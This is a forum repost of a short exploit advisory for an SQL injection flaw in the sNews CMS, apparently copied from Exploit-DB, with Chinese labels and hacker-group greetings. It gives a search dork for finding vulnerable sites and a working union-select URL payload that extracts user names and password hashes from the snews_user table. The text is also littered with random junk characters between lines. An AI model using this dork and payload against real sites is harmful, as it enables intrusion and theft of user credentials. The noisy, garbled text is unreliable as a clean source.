标题: CMS snews SQL Injection Vulnerability$ e- I* k( C5 Z% n n* g; \
作者: By onestree
8 S* Y* Z9 f( P. B7 V/ |. p+ M下载地址 : http://snewscms.com/% F8 A. L" _0 c7 [
测试平台 : ubuntu 12.10 / win 7
. P& Q, s& s8 d4 o6 L关键词: inurl:"tanyakan pada rumput yang bergoyang"
" e8 I+ {1 A+ U+ y% i$ g, ~- ]. s
. c" k8 j- T* d R7 Y" W' \* p 8 Z& ^$ y) a* e/ \
*************************************************************
: Z; O& R* \5 B. W- {3 Q: a. ~* ~ 2 P9 o7 l3 Y3 {8 f; D$ |; d" N
SQL poc:" ?9 _1 u- ]' B6 a
$ c {9 _; j0 \" j" m& G( r
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
0 Y. u: g a) k( [6 A( d% x
2 H& }) ?8 s# Y* w: ]示例- Y: I2 W6 v, T0 c6 E+ z
- x+ d- p) C' \6 T" N5 G1 _% G% l
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*7 N! c3 i) Q- s( h* q
& L1 p( g- b5 G
4 w' z5 q/ o; @
致谢:0 v# B9 X. r! `2 M0 v' }. o7 n
) p" I6 m) D# S: b Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell( g) t' X' B' x0 u! S& j' f
8 t8 ?3 E0 m" k2 {; [8 g' B indonesiancoder - moeslimh4x0r - go-coder
' G: o$ _) C- [6 D1 v& w, p' s$ y
/ r/ _" J3 n6 f W5 b9 ~5 F" Q1 Bspesial my hunny :*- B) U: f$ B0 \$ T2 D8 |% E$ r! v
|
发表于 2013-1-23 08:55:06
收藏
支持
反对